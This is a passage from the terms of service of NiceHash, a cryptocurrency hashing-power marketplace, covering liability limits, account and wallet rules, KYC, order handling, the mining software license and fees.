connection or communication failures, disruptions, errors, distortions or delays you may experience when using NiceHash Services, however caused. Hashing power provision risk You acknowledge that there are risks associated with the provisions of the hashing power which is provided by the Hashing power providers through the Hashing power marketplace and that you have been fully informed and warned about it. You acknowledge that NiceHash does not provide the hashing power but only provides the Hashing power marketplace as a service. Hashing power providers’ Hashing power rigs are new and untested and outside of NiceHash’s control. There is a major risk that the Hashing power rigs (i) will stop providing hashing power, (ii) will provide hashing power in an unstable way, (iii) will be wrongly configured or (iv) provide insufficient speed of the hashing power. Hashing power rigs as hardware could be subject of damage, errors, electricity outage, misconfiguration, connection or communication failures and other malfunctions. NiceHash will not be responsible for operation of Hashing power rigs and its provision of hashing power. By submitting a Hashing power order you agree to Hashing power no-refund policy – all shares forwarded to mining pool, selected on the Hashing power order are final and non-refundable. Hashing power profitability risk You acknowledge that there is risk associated with the profitability of the hashing power provision and that you have been fully informed and warned about it. You acknowledge that all Hashing power rig’s earning estimates and profitability calculations on NiceHash Platform are only for informational purposes and were made based on the Hashing power rigs set up in the test environments. NiceHash does not warrant that your Hashing power rigs would achieve the same profitability or earnings as calculated on NiceHash Platform. There is risk that your Hashing power rig would not produce desired hashing power quantity and quality and that your produced hashing power would differentiate from the hashing power produced by our Hashing power rigs set up in the test environments. There is risk that your Hashing power rigs would not be as profitable as our Hashing power rigs set up in the test environments or would not be profitable at all. WARRANTIES NiceHash Platform and Mining Services are provided on the “AS IS” and “AS AVAILABLE” basis, including all faults and defects. To the maximum extent permitted by applicable law, NiceHash makes no representations and warranties and you waive all warranties of any kind. Particularly, without limiting the generality of the foregoing, the NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise regarding NiceHash Platform and Mining Services or other services related to NiceHash Platform and provided by third parties, including any warranty that such services will be uninterrupted, harmless, secure or not corrupt or damaged, meet your requirements, achieve any intended results, be compatible or work with any other software, applications, systems or services, meet any performance or error free or that any errors or defects can or will be corrected. Additionally NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise of merchantability, suitability, reliability, availability, timeliness, accuracy, satisfactory quality, fitness for a particular purpose or quality, title and non-infringement with respect to any of the Mining Services or other services related to NiceHash Platform and provided by third parties, or quiet enjoyment and any warranties arising out of any course of dealing, course of performance, trade practice or usage of NiceHash Platform and Mining Services including information, content and material contained therein. Especially NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise regarding any payment services and systems, NiceHash Wallet which is provided by third party or any other financial services which might be related to the NiceHash Platform and Mining Services. You acknowledge that you do not rely on and have not been induced to accept the NiceHash Platform and Mining Services according to these Terms on the basis of any warranties, representations, covenants, undertakings or any other statement whatsoever, other than expressly set out in these Terms that neither the NiceHash nor any of its respective agents, officers, employees or advisers have given any such warranties, representations, covenants, undertakings or other statements. LIABILITY NiceHash and their respective officers, employees or agents will not be liable to you or anyone else, to the maximum extent permitted by applicable law, for any damages of any kind, including, but not limited to, direct, consequential, incidental, special or indirect damages (including but not limited to lost profits, trading losses or damages that result from use or loss of use of NiceHash Services or NiceHash Wallet), even if NiceHash has been advised of the possibility of such damages or losses, including, without limitation, from the use or attempted use of NiceHash Platform and Mining Services, NiceHash Wallet or other related websites or services. NiceHash does not assume any obligations to users in connection with the unlawful alienation of Bitcoins, which occurred on 6. 12. 2017 with NICEHASH, d. o. o., and has been fully reimbursed with the completion of the NiceHash Repayment Program. NiceHash will not be responsible for any compensation, reimbursement, or damages arising in connection with: (i) your inability to use the NiceHash Platform and Mining Services, including without limitation as a result of any termination or suspension of the NiceHash Platform or these Terms, power outages, maintenance, defects, system failures, mistakes, omissions, errors, defects, viruses, delays in operation or transmission or any failure of performance, (ii) the cost of procurement of substitute goods or services, (iii) any your investments, expenditures, or commitments in connection with these Terms or your use of or access to the NiceHash Platform and Mining Services, (iv) your reliance on any information obtained from NiceHash, (v) Force Majeure Event, communications failure, theft or other interruptions or (vi) any unauthorized access, alteration, deletion, destruction, damage, loss or failure to store any data, including records, private key or other credentials, associated with NiceHash Platform and Mining Services or NiceHash Wallet. Our aggregate liability (including our directors, members, employees and agents), whether in contract, warranty, tort (including negligence, whether active, passive or imputed), product liability, strict liability or other theory, arising out of or relating to the use of NiceHash Platform and Mining Services, or inability to use the Platform and Services under these Terms or under any other document or agreement executed and delivered in connection herewith or contemplated hereby, shall in any event not exceed 100 EUR per user. You will defend, indemnify, and hold NiceHash harmless and all respective employees, officers, directors, and representatives from and against any claims, demand, action, damages, loss, liabilities, costs and expenses (including reasonable attorney fees) arising out of or relating to (i) any third-party claim concerning these Terms, (ii) your use of, or conduct in connection with, NiceHash Platform and Mining Services, (iii) any feedback you provide, (iv) your violation of these Terms, (v) or your violation of any rights of any other person or entity. If you are obligated to indemnify us, we will have the right, in our sole discretion, to control any action or proceeding (at our expense) and determine whether we wish to settle it. If we are obligated to respond to a third-party subpoena or other compulsory legal order or process described above, you will also reimburse us for reasonable attorney fees, as well as our employees’ and contractors’ time and materials spent responding to the third-party subpoena or other compulsory legal order or process at reasonable hourly rates. The Services and the information, products, and services included in or available through the NiceHash Platform may include inaccuracies or typographical errors. Changes are periodically added to the information herein. Improvements or changes on the NiceHash Platform can be made at any time. NICEHASH ACCOUNT The registration of the NiceHash Account is made through the NiceHash Platform, where you are required to enter your email address and password in the registration form. After successful completion of registration, the confirmation email is sent to you. After you confirm your registration by clicking on the link in the confirmation email the NiceHash Account is created. NiceHash will send you proof of completed registration once the process is completed. When you create NiceHash Account, you agree to (i) create a strong password that you change frequently and do not use for any other website, (ii) implement reasonable and appropriate measures designed to secure access to any device which has access to your email address associated with your NiceHash Account and your username and password for your NiceHash Account, (iii) maintain the security of your NiceHash Account by protecting your password and by restricting access to your NiceHash Account; (iv) promptly notify us if you discover or otherwise suspect any security breaches related to your NiceHash Account so we can take all required and possible measures to secure your NiceHash Account and (v) take responsibility for all activities that occur under your NiceHash Account and accept all risks of any authorized or unauthorized access to your NiceHash Account, to the maximum extent permitted by law. Losing access to your email, registered at NiceHash Platform, may also mean losing access to your NiceHash Account. You may not be able to use the NiceHash Platform or Mining Services, execute withdrawals and other security sensitive operations until you regain access to your email address, registered at NiceHash Platform. If you wish to change the email address linked to your NiceHash Account, we may ask you to complete a KYC procedure for security purposes. This step serves solely for the purpose of identification in the process of regaining access to your NiceHash Account. Once the NiceHash Account is created a NiceHash Wallet is automatically created for the NiceHash Account when the request for the first deposit to the NiceHash Wallet is made by the user. Account holder’s NiceHash Wallet is generated by NiceHash Wallet provider. Account holder is strongly suggested to enhance the security of his NiceHash Account by adding an additional security step of Two-factor authentication (hereinafter “2FA”) when logging into his account, withdrawing funds from his NiceHash Wallet or placing a new order. Account holder can enable this security feature in the settings of his NiceHash Account. In the event of losing or changing 2FA code, we may ask the Account holder to complete a KYC procedure for security reasons. This step serves solely for the purpose of identification in the process of reactivating Account holders 2FA and it may be subject to an a In order to use certain functionalities of the NiceHash Platform, such as paying for the acquired hashing power, users must deposit funds to the NiceHash Wallet, as the payments for the hashing power could be made only through NiceHash Wallet. Hashing power providers have two options to get paid for the provided hashing power: (i) by using NiceHash Wallet to receive the payments or (ii) by providing other Bitcoin address where the payments shall be received to. Hashing power providers provide their Bitcoin address to NiceHash by providing such details via Account holder’s profile settings or in a form of a stratum username while connecting to NiceHash stratum servers. Account holder may load funds on his NiceHash Wallet from his Secondary account. Account holder may be charged fees by the Secondary account provider or by the blockchain network for such transaction. NiceHash is not responsible for any fees charged by Secondary account providers or by the blockchain network or for the management and security of the Secondary accounts. Account holder is solely responsible for his use of Secondary accounts and Account holder agrees to comply with all terms and conditions applicable to any Secondary accounts. The timing associated with a load transaction will depend in part upon the performance of Secondary accounts providers, the performance of blockchain network and performance of the NiceHash Wallet provider. NiceHash makes no guarantee regarding the amount of time it may take to load funds on to NiceHash Wallet. NiceHash Wallet shall not be used by Account holders to keep, save and hold funds for longer period and also not for executing other transactions which are not related to the transactions regarding the NiceHash Platform. The NiceHash Wallet shall be used exclusively and only for current and ongoing transactions regarding the NiceHash Platform. Account holders shall promptly withdraw any funds kept on the NiceHash Wallet that will not be used and are not intended for the reasons described earlier. Commission fees may be charged by the NiceHash Wallet provider, by the blockchain network or by NiceHash for any NiceHash Wallet transactions. Please refer to the NiceHash Platform, for more information about the commission fees for NiceHash Wallet transactions which are applicable at the time of the transaction. NiceHash reserves the right to change these commission fees according to the provisions to change these Terms at any time for any reason. You have the right to use the NiceHash Account only in compliance with these Terms and other commercial terms and principles published on the NiceHash Platform. In particular, you must observe all regulations aimed at ensuring the security of funds and financial transactions. Provided that the balance of funds in your NiceHash Wallet is greater than any minimum balance requirements needed to satisfy any of your open orders, you may withdraw from your NiceHash Wallet any amount of funds, up to the total amount of funds in your NiceHash Wallet in excess of such minimum balance requirements, to Secondary Account, less any applicable withdrawal fees charged by NiceHash or by the blockchain network for such transaction. Withdrawals are not processed instantly and may be grouped with other withdrawal requests. Some withdrawals may require additional verification information which you will have to provide in order to process the withdrawal. It may take up to 24 hours before withdrawal is fully processed and distributed to the Blockchain network. Please refer to the NiceHash Platform for more information about the withdrawal fees and withdrawal processing. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. You have the right to close the NiceHash Account. In case you have funds on your NiceHash Wallet you should withdraw funds from your account prior to requesting NiceHash Account closure. After we receive your NiceHash Account closure request we will deactivate your NiceHash Account. You can read more about closing the NiceHash Account in our Privacy Policy. Your NiceHash Account may be deactivated due to your inactivity. Your NiceHash account may be locked and a mandatory KYC procedure is applied for security reasons, if it has been more than 6 month since your last login. NiceHash or any of its partners or affiliates are not responsible for the loss of the funds, stored on or transferred from the NiceHash Wallet, as well as for the erroneous implementation of the transactions made via NiceHash Wallet, where such loss or faulty implementation of the transaction are the result of a malfunction of the NiceHash Wallet and the malfunction was caused by you or the NiceHash Wallet provider. You are obliged to inform NiceHash in case of loss or theft, as well as in the case of any possible misuse of the access data to your NiceHash Account, without any delay, and demand change of access data or closure of your existing NiceHash Account and submit a request for new access data. NiceHash will execute the change of access data or closure of the NiceHash Account and the opening of new NiceHash Account as soon as technically possible and without any undue delay. All information pertaining to registration, including a registration form, generation of NiceHash Wallet and detailed instructions on the use of the NiceHash Account and NiceHash Wallet are available at NiceHash Platform. The registration form as well as the entire system is properly protected from unwanted interference by third parties. KYC PROCEDURE NiceHash is appropriately implementing AML/CTF and security measures to diligently detect and prevent any malicious or unlawful use of NiceHash Services or use, which is strictly prohibited by these Terms, which are deemed as your agreement to provide required personal information for identity verification. Security measures include a KYC procedure, which is aimed at determining the identity of an individual user or an organisation. We may ask you to complete this procedure before enabling some or all functionalities of the NiceHash platform and provide its services. A KYC procedure might be applied as a security measure when: changing the email address linked to your NiceHash Account, 
 losing or changing your 2FA code; 
 logging in to your NiceHash Account for the first time after the launch of the new NiceHash Platform in August 2019, 
 gaining access to all or a portion of NiceHash Services, NiceHash Wallet and its related services or any portion thereof if they were disabled due to and 
 activating your NiceHash Account if it has been deactivated due to its inactivity and/or security or other reasons. 
 HASHING POWER TRANSACTIONS General NiceHash may, at any time and in our sole discretion, (i) refuse any order submitted or provided hashing power, (ii) cancel an order or part of the order before it is executed, (iii) impose limits on the order amount permitted or on provided hashing power or (iv) impose any other conditions or restrictions upon your use of the NiceHash Platform and Mining Services without prior notice. For example, but not limited to, NiceHash may limit the number of open orders that you may establish or limit the type of supported Hashing power rigs and mining algorithms or NiceHash may restrict submitting orders or providing hashing power from certain locations. Please refer to the NiceHash Platform, for more information about terminology, hashing power transactions’ definitions and descriptions, order types, order submission, order procedure, order rules and other restrictions and limitations of the hashing power transactions. NiceHash reserves the right to change any transaction, definitions, description, order types, procedure, rules, restrictions and limitations at any time for any reason. Orders, provision of hashing power, payments, deposits, withdrawals and other transactions are accepted only through the interface of the NiceHash Platform, NiceHash API and NiceHash Account and are fixed by the software and hardware tools of the NiceHash Platform. If you do not understand the meaning of any transaction option, NiceHash strongly encourages you not to utilize any of those options. Hashing Power Order In order to submit an Hashing Power Order via the NiceHash Account, the Hashing power buyer must have available funds in his NiceHash Wallet. Hashing power buyer submits a new order to buy hashing power via the NiceHash Platform or via the NiceHash API by setting the following parameters in the order form: NiceHash service server location, third-party mining pool, algorithm to use, order type, set amount he is willing to spend on this order, set price per hash he is willing to pay, optionally approximate limit maximum hashing power for his order and other parameters as requested and by confirming his order. Hashing power buyer may submit an order in maximum amount of funds available on his NiceHash Wallet at the time of order submission. Order run time is only approximate since order’s lifetime is based on the number of hashes that it delivers. Particularly during periods of high volume, illiquidity, fast movement or volatility in the marketplace for any digital assets or hashing power, the actual price per hash at which some of the orders are executed may be different from the prevailing price indicated on NiceHash Platform at the time of your order. You understand that NiceHash is not liable for any such price fluctuations. In the event of market disruption, NiceHash Services disruption, NiceHash Hashing Power Marketplace disruption or manipulation or Force Majeure Event, NiceHash may do one or more of the following: (i) suspend access to the NiceHash Account or NiceHash Platform, or (ii) prevent you from completing any actions in the NiceHash Account, including closing any open orders. Following any such event, when trading resumes, you acknowledge that prevailing market prices may differ significantly from the prices available prior to such event. When Hashing power buyer submits an order for purchasing of the Hashing power via NiceHash Platform or via the NiceHash API he authorizes NiceHash to execute the order on his behalf and for his account in accordance with such order. Hashing power buyer acknowledges and agrees that NiceHash is not acting as his broker, intermediary, agent or advisor or in any fiduciary capacity. NiceHash executes the order in set order amount minus NiceHash’s processing fee. Once the order is successfully submitted the order amount starts to decrease in real time according to the payments for the provided hashing power. Hashing power buyer agrees to pay applicable processing fee to NiceHash for provided services. The NiceHash’s fees are deducted from Hashing power buyer’s NiceHash Wallet once the whole order is exhausted and completed. Please refer to the NiceHash Platform, for more information about the fees which are applicable at the time of provision of services. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the NiceHash Services provided after the change of the fees. All orders submitted prior the fee change but not necessary completed prior the fee change will be charged according to the fees applicable at the time of the submission of the order. NiceHash will attempt, on a commercially reasonable basis, to execute the Hashing power buyer’s purchase of the hashing power on the Hashing power marketplace under these Terms according to the best-effort delivery approach. In this respect NiceHash does not guarantee that the hashing power will actually be delivered or verified and does not guarantee any quality of the NiceHash Services. Hashing power buyer may cancel a submitted order during order’s lifetime. If an order has been partially executed, Hashing power buyer may cancel the unexecuted remainder of the order. In this case the NiceHash’s processing fee will apply only for the partially executed order. NiceHash reserves the right to refuse any order cancellation request once the order has been submitted. Selling Hashing Power and the Provision of Hashing Power In order to submit the hashing power to the NiceHash stratum server the Hashing power provider must first point its Hashing power rig to the NiceHash stratum server. Hashing power provider is solely responsible for configuration of his Hashing power rig. The Hashing power provider gets paid by Hashing power buyers for all validated and accepted work that his Hashing power rig has produced. The provided hashing power is validated by NiceHash’s stratum engine and validator. Once the hashing power is validated the Hashing power provider is entitled to receive the payment for his work. NiceHash logs all validated hashing power which was submitted by the Hashing power provider. The Hashing power provider receives the payments of current globally weighted average price on to his NiceHash Wallet or his selected personal Bitcoin address. The payments are made periodically depending on the height of payments. NiceHash reserves the right to hold the payments any time and for any reason by indicating the reason, especially if the payments represent smaller values. Please refer to the NiceHash Platform, for more information about the height of payments for provided hashing power, how the current globally weighted average price is calculated, payment periods, payment conditions and conditions for detention of payments. NiceHash reserves the right to change this payment policy according to the provisions to change these Terms at any time for any reason. All Hashing power rig’s earnings and profitability calculations on NiceHash Platform are only for informational purposes. NiceHash does not warrant that your Hashing power rigs would achieve the same profitability or earnings as calculated on NiceHash Platform. You hereby acknowledge that it is possible that your Hashing power rigs would not be as profitable as indicated in our informational calculations or would not be profitable at all. Hashing power provider agrees to pay applicable processing fee to NiceHash for provided Services. The NiceHash’s fees are deducted from all the payments made to the Hashing power provider for his provided work. Please refer to the NiceHash Platform, for more information about the fees which are applicable at the time of provision of services. Hashing power provider which has not submitted any hashing power to the NiceHash stratum server for a period of 90 days agrees that a processing fee of 0.00001000 BTC or less, depending on the unpaid mining balance, will be deducted from his unpaid mining balance. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the NiceHash Services provided after the change of the fees. NiceHash will attempt, on a commercially reasonable basis, to execute the provision of Hashing power providers’ hashing power on the Hashing power marketplace under these Terms according to the best-effort delivery approach. In this respect NiceHash does not guarantee that the hashing power will actually be delivered or verified and does not guarantee any quality of the NiceHash Services. Hashing power provider may disconnect the Hashing power rig from the NiceHash stratum server any time. NiceHash reserves the right to refuse any Hashing power rig once the Hashing power rig has been pointed towards NiceHash stratum server. RESTRICTIONS When accessing the NiceHash Platform or using the Mining Services or NiceHash Wallet, you warrant and agree that you: will not use the Services for any purpose that is unlawful or prohibited by these Terms,
 will not violate any law, contract, intellectual property or other third-party right or commit a tort,
 are solely responsible for your conduct while accessing the NiceHash Platform or using the Mining Services or NiceHash Wallet,
 will not access the NiceHash Platform or use the Mining Services in any manner that could damage, disable, overburden, or impair the provision of the Services or interfere with any other party's use and enjoyment of the Services, 
 will not misuse and/or maliciously use Hashing power rigs, you will particularly refrain from using network botnets or using NiceHash Platform or Mining Services with Hashing power rigs without the knowledge or awareness of Hashing power rig owner(s), 
 will not perform or attempt to perform any kind of malicious attacks on blockchains with the use of the NiceHash Platform or Mining Services, intended to maliciously gain control of more than 50% of the network's mining hash rate, 
 will not use the NiceHash Platform or Mining Services for any kind of market manipulation or disruption, such as but not limited to NiceHash Mining Services disruption and NiceHash Hashing Power Marketplace manipulation.
 In case of any of the above mentioned events, NiceHash reserves the right to immediately suspend your NiceHash Account, freeze or block the funds in the NiceHash Wallet, and suspend your access to NiceHash Platform, particularly if NiceHash believes that such NiceHash Account are in violation of these Terms or Privacy Policy, or any applicable laws and regulation. RIGHTS AND OBLIGATIONS In the event of disputes with you, NiceHash is obliged to prove that the NiceHash service which is the subject of the dispute was not influenced by technical or other failure. You will have possibility to check at any time, subject to technical availability, the transactions details, statistics and available balance of the funds held on the NiceHash Wallet, through access to the NiceHash Account. You may not obtain or attempt to obtain any materials or information through any means not intentionally made available or provided to you or public through the NiceHash Platform or Mining Services. We may, in our sole discretion, at any time, for any or no reason and without liability to you, with prior notice (i) terminate all rights and obligations between you and NiceHash derived from these Terms, (ii) suspend your access to all or a portion of NiceHash Services, NiceHash Wallet and its related services or any portion thereof and delete or deactivate your NiceHash Account and all related information and files in such account (iii) modify, suspend or discontinue, temporarily or permanently, any portion of NiceHash Platform or (iv) provide enhancements or improvements to the features and functionality of the NiceHash Platform, which may include patches, bug fixes, updates, upgrades and other modifications. Any such change may modify or delete certain portion, features or functionalities of the NiceHash Services. You agree that NiceHash has no obligation to (i) provide any updates, or (ii) continue to provide or enable any particular portion, features or functionalities of the NiceHash Services to you. You further agree that all changes will be (i) deemed to constitute an integral part of the NiceHash Platform, and (ii) subject to these Terms. In the event of your breach of these Terms, including but not limited to, for instance, in the event that you breach any term of these Terms, due to legal grounds originating in anti-money laundering and know your client regulation and procedures, or any other relevant applicable regulation, all right and obligations between you and NiceHash derived from these Terms terminate automatically if you fail to comply with these Terms within the notice period of 8 days after you have been warned by NiceHash about the breach and given 8 days period to cure the breaches. NiceHash reserves the right to keep these rights and obligations in force despite your breach of these Terms. In the event of termination, NiceHash will attempt to return you any funds stored on your NiceHash Wallet not otherwise owed to NiceHash, unless NiceHash believes you have committed fraud, negligence or other misconduct. You acknowledge that the NiceHash Services and NiceHash Wallet may be suspended for maintenance. Technical information about the hashing power transactions, including information about chosen server locations, algorithms used, selected mining pools, your business or activities, including all financial and technical information, specifications, technology together with all details of prices, current transaction performance and future business strategy represent confidential information and trade secrets. NiceHash shall, preserve the confidentiality of all before mentioned information and shall not disclose or cause or permit to be disclosed without your permission any of these information to any person save to the extent that such disclosure is strictly to enable you to perform or comply with any of your obligations under these Terms, or to the extent that there is an irresistible legal requirement on you or NiceHash to do so; or where the information has come into the public domain otherwise than through a breach of any of the terms of these Terms. NiceHash shall not be entitled to make use of any of these confidential information and trade secrets other than during the continuance of and pursuant to these Terms and then only for the purpose of carrying out its obligations pursuant to these Terms. NICEHASH MINER LICENSE (NICEHASH MINING SOFTWARE LICENSE) NiceHash Mining Software whether on disk, in read only memory, or any other media or in any other form is licensed, not sold, to you by NiceHash for use only under these Terms. NiceHash retains ownership of the NiceHash Mining Software itself and reserves all rights not expressly granted to you. Subject to these Terms, you are granted a limited, non-transferable, non-exclusive and a revocable license to download, install and use the NiceHash Mining Software. You may not distribute or make the NiceHash Mining Software available over a network where it could be used by multiple devices at the same time. You may not rent, lease, lend, sell, redistribute, assign, sublicense host, outsource, disclose or otherwise commercially exploit the NiceHash Mining Software or make it available to any third party. There is no license fee for the NiceHash Mining Software. NiceHash reserves the right to change the license fee policy according to the provisions to change these Terms any time and for any reason, including to decide to start charging the license fee for the NiceHash Mining Software. You are responsible for any and all applicable taxes. You may not, and you agree not to or enable others to, copy, decompile, reverse engineer, reverse compile, disassemble, attempt to derive the source code of, decrypt, modify, or create derivative works of the NiceHash Mining Software or any services provided by the NiceHash Mining Software, or any part thereof (except as and only to the extent any foregoing restriction is prohibited by applicable law or to the extent as may be permitted by the licensing terms governing use of open-sourced components included with the NiceHash Mining Software). If you choose to allow automatic updates, your device will periodically check with NiceHash for updates and upgrades to the NiceHash Mining Software and, if an update or upgrade is available, the update or upgrade will automatically download and install onto your device and, if applicable, your peripheral devices. You can turn off the automatic updates altogether at any time by changing the automatic updates settings found within the NiceHash Mining Software. You agree that NiceHash may collect and use technical and related information, including but not limited to technical information about your computer, system and application software, and peripherals, that is gathered periodically to facilitate the provision of software updates, product support and other services to you (if any) related to the NiceHash Mining Software and to verify compliance with these Terms. NiceHash may use this information, as long as it is in a form that does not personally identify you, to improve our NiceHash Services. NiceHash Mining Software contains features that rely upon information about your selected mining pools. You agree to our transmission, collection, maintenance, processing, and use of all information obtained from you about your selected mining pools. You can opt out at any time by going to settings in the NiceHash Mining Software. NiceHash may provide interest-based advertising to you. If you do not want to receive relevant ads in the NiceHash Mining Software, you can opt out at any time by going to settings in the NiceHash Mining Software. If you opt out, you will continue to receive the same number of ads, but they may be less relevant because they will not be based on your interest. NiceHash Mining Software license is effective until terminated. All provisions of these Terms regarding the termination apply also for the NiceHash Mining Software license. Upon the termination of NiceHash Mining Software license, you shall cease all use of the NiceHash Mining Software and destroy or delete all copies, full or partial, of the NiceHash Mining Software. THIRD PARTY MINERS AND PLUGINS Third Party Miners and Plugins are a third party software which enables the best and most efficient mining operations. NiceHash Miner integrates third party mining software using a third party miner plugin system. Third Party Mining Software is a closed source software which supports mining algorithms for cryptocurrencies and can be integrated into NiceHash Mining Software. Third Party Miner Plugin enables the connection between NiceHash Mining Software and Third Party Mining Software and it can be closed, as well as open sourced. NiceHash Mining Software user interface enables the user to manually select which available Third Party Miners and Plugins will be downloaded and integrated. Users can select or deselect Third Party Miners and Plugins found in the Plugin Manager window. Some of the available Third Party Miners and Plugins which are most common are preselected by NiceHash, but can be deselected, depending on users' needs. The details of the Third Party Miners and Plugins available for NiceHash Mining Software are accessible within the NiceHash Mining Software user interface. The details include, but not limited to, the author of the software and applicable license information, if applicable information about developer fee for Third Party Miners, software version etc. Developer fees may apply to the use of Third Party Miners and Plugins. NiceHash will not be liable, to the maximum extent permitted by applicable law, for any damages of any kind, including, but not limited to, direct, consequential, incidental, special or indirect damages, arising out of using Third Party Miners and Plugins. The latter includes, but is not limited to: i) any power outages, maintenance, defects, system failures, mistakes, omissions, errors, defects, viruses, delays in operation or transmission or any failure of performance; ii) any unauthorized access, alteration, deletion, destruction, damage, loss or failure to store any data, including records, private key or other credentials, associated with usage of Third Party Miners and Plugins and ii) Force Majeure Event, communications failure, theft or other interruptions. If you choose to allow automatic updates, your device will periodically check with NiceHash for updates and upgrades to the installed Third Party Miners and Plugins, if an update or upgrade is available, the update or upgrade will automatically download and install onto your device and, if applicable, your peripheral devices. You can turn off the automatic updates altogether at any time by changing the automatic updates settings found within the NiceHash Mining Software. NICEHASH QUICKMINER NiceHash QuickMiner is a software application that allows the visitors of the NiceHash Quick Miner web page, accessible athttps://www.nicehash.com/quick-miner, to connect their PC or a mining rig to the NiceHash Hashing Power Marketplace. Visitors of the NiceHash Quick Miner web page can try out and experience crypto currency mining without having to register on the NiceHash Platform and create a NiceHash Account. Users are encouraged to do so as soon as possible in order to collect the funds earned using NiceHash Quick Miner. Users can download NiceHash QuickMiner free of charge. In order to operate NiceHash QuickMiner software needs to automatically detect technical information about users' computer hardware. You agree that NiceHash may collect and use technical and related information. For more information please refer to NiceHash Privacy Policy. Funds arising from the usage of NiceHash QuickMiner are transferred to a dedicated cryptocurrency wallet owned and managed by NiceHash. NiceHash QuickMiner Users expressly agree and acknowledge that completing the registration process and creating a NiceHash Account is necessary in order to collect the funds arising from the usage of NiceHash QuickMiner. Users of NiceHash QuickMiner who do not successfully register a NiceHash Account will lose their right to claim funds arising from their usage of NiceHash QuickMiner. Those funds, in addition to the condition that the user has not been active on the NiceHash QuickMiner web page for consecutive 7 days, will be donated to the charity of choice. NICEHASH PRIVATE ENDPOINT NiceHash Private Endpoint is a network interface that connects users privately and securely to NiceHash Stratum servers. Private Endpoint uses a private IP address and avoids additional latency caused by DDOS protection. All NiceHash Private Mining Proxy servers are managed by NiceHash and kept up-to-date. Users can request a dedicated private access endpoint by filling in the form for NiceHash Private Endpoint Solution available at the NiceHash Platform. In the form the user specifies the email address, country, number of connections and locations and algorithms used. Based on the request NiceHash prepares an individualized offer based on the pricing stipulated on the NiceHash Platform, available at https://www.nicehash.com/private-endpoint-solution. NiceHash may request additional information from the users of the Private Endpoint Solution in order to determine whether we are obligated to collect VAT from you, including your VAT identification number. INTELLECTUAL PROPERTY NiceHash retains all copyright and other intellectual property rights, including inventions, discoveries, knowhow, processes, marks, methods, compositions, formulae, techniques, information and data, whether or not patentable, copyrightable or protectable in trademark, and any trademarks, copyrights or patents based thereon over all content and other materials contained on NiceHash Platform or provided in connection with the Services, including, without limitation, the NiceHash logo and all designs, text, graphics, pictures, information, data, software, source code, as well as the compilation thereof, sound files, other files and the selection and arrangement thereof. This material is protected by international copyright laws and other intellectual property right laws, namely trademark. These Terms shall not be understood and interpreted in a way that they would mean assignment of copyright or other intellectual property rights, unless it is explicitly defined so in these Terms. NiceHash hereby grants you a limited, nonexclusive and non-sublicensable license to access and use NiceHash’s copyrighted work and other intellectual property for your personal or internal business use. Such license is subject to these Terms and does not permit any resale, the distribution, public performance or public display, modifying or otherwise making any derivative uses, use, publishing, transmission, reverse engineering, participation in the transfer or sale, or any way exploit any of the copyrighted work and other intellectual property other than for their intended purposes. This granted license will automatically terminate if NiceHash suspends or terminates your access to the Services, NiceHash Wallet or closes your NiceHash Account. NiceHash will own exclusive rights, including all intellectual property rights, to any feedback including, but not limited to, suggestions, ideas or other information or materials regarding NiceHash Services or related products that you provide, whether by email, posting through our NiceHash Platform, NiceHash Account or otherwise and you irrevocably assign any and all intellectual property rights on such feedback unlimited in time, scope and territory. Any Feedback you submit is non-confidential and shall become the sole property of NiceHash. NiceHash will be entitled to the unrestricted use, modification or dissemination of such feedback for any purpose, commercial or otherwise, without acknowledgment or compensation to you. You waive any rights you may have to the feedback. We have the right to remove any posting you make on NiceHash Platform if, in our opinion, your post does not comply with the content standards defined by these Terms. PRIVACY POLICY Please refer to our NiceHash Platform and Mining Services Privacy Policy published on the NiceHash Platform for information about how we collect, use and share your information, as well as what options do you have with regards to your personal information. COMMUNICATION AND SUPPORT You agree and consent to receive electronically all communications, agreements, documents, receipts, notices and disclosures that NiceHash provides in connection with your NiceHash Account or use of the NiceHash Platform and Services. You agree that NiceHash may provide these communications to you by posting them via the NiceHash Account or by emailing them to you at the email address you provide. You should maintain copies of electronic communications by printing a paper copy or saving an electronic copy. It is your responsibility to keep your email address updated in the NiceHash Account so that NiceHash can communicate with you electronically. You understand and agree that if NiceHash sends you an electronic communication but you do not receive it because your email address is incorrect, out of date, blocked by your service provider, or you are otherwise unable to receive electronic communications, it will be deemed that you have been provided with the communication. You can update your NiceHash Account preferences at any time by logging into your NiceHash Account. If your email address becomes invalid such that electronic communications sent to you by NiceHash are returned, NiceHash may deem your account to be inactive and close it. You may give NiceHash a notice under these Terms by sending an email to support@nicehash.com or contact NiceHash through support located on the NiceHash Platform. All communication and notices pursuant to these Terms must be given in English language. FEES Please refer to the NiceHash Platform for more information about the fees or administrative costs which are applicable at the time of provision of services. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the Services provided after the change of the fees. You authorize us, or our designated payment processor, to charge or deduct your NiceHash Account for any applicable fees in connection with the transactions completed via the Services. TAX It is your responsibility to determine what, if any, taxes apply to the transactions you complete or services you provide via the NiceHash Platform, Mining Services and NiceHash Wallet, it is your responsibility to report and remit the correct tax to the appropriate tax authority and all your factual and potential tax obligations are your concern. You agree that NiceHash is not in any case and under no conditions responsible for determining whether taxes apply to your transactions or services or for collecting, reporting, withholding or remitting any taxes arising from any transactions or services. You also agree that NiceHash is not in any case and under no conditions bound to compensate for your tax obligation or give you any advice related to tax issues. All fees and charges payable by you to NiceHash are exclusive of any taxes, and shall certain taxes be applicable, they shall be added on top of the payable amounts. Upon our request, you will provide to us any information that we reasonably request to determine whether we are obligated to collect VAT from you, including your VAT identification number. If any deduction or withholding is required by law, you will notify NiceHash and will pay NiceHash any additional amounts necessary to ensure that the net amount received by NiceHash, after any deduction and withholding, equals the amount NiceHash would have received if no deduction or withholding had been required. Additionally, you will provide NiceHash with documentation showing that the withheld and deducted amounts have been paid to the relevant taxing authority. FINAL PROVISIONS Natural persons and legal entities that are not capable of holding legal rights and obligations are not allowed to create NiceHash Account and use NiceHash Platform or other related services. If NiceHash becomes aware that such natural person or legal entity has created the NiceHash Account or has used NiceHash Services, NiceHash will delete such NiceHash Account and disable any Services and block access to NiceHash Account and NiceHash Services to such natural person or legal entity. If you register to use the NiceHash Services on behalf of a legal entity, you represent and warrant that (i) such legal entity is duly 